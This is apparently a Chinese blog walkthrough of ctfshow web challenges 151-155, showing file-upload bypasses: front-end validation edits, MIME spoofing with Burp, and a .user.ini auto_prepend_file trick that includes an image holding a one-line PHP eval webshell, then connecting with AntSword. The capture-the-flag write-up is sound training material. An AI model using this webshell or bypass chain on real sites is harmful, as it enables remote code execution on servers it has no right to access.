ctfshow web入门文件上传 web151-web155

1.web151

前端验证,修改html代码,上传还有一句话木马的php文件,之后用蚁剑连接即可找到flag

<?php eval($_POST[1])?>

在这里插入图片描述

2.web152

前端有验证,还是需要修改html代码
burp抓包,修改content-type为image/png
在这里插入图片描述
连接蚁剑,得到flag

3.web153

前端有验证,还是需要修改html代码
尝试了以下修改mime并没有绕过,猜测检测了后缀和mime类型
burp抓包,上传.user.ini,此配置文件时nginx服务的配置文件,写入auto_prepend_file=2.jpg,在上传2.jpg,2.jpg中写入一句话,之后把http://d6a3715e-bc9a-4bc2-8e1e-e540b0bbaeaf.challenge.ctf.show/upload/index.php 添加到蚁剑中即可读取flag,访问此链接时会自动包含2.jpg

.user.ini利用需要在此目录下还有php文件,user.ini 上传的文件  原有的php文件需要在同一目录下
.user.ini
auto_prepend_file     表示在文件头包含
auto_append_file       表示在文件尾包含

上传.user.ini
在这里插入图片描述

4.web154

通过测试发现,检查mime,后缀和文件内容,里面不能有php
上传.user.ini ,写入auto_prepend_file=2.png ,在上传2.php 写一句话木马 <? eval($_POST[1])?>,在把链接加到蚁剑即可读取flag
上传.user.ini
在这里插入图片描述
上传2.png
在这里插入图片描述

5.web155

和上题一样,注意这里只能使用png,和上题的区别限制了图片只能是png

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值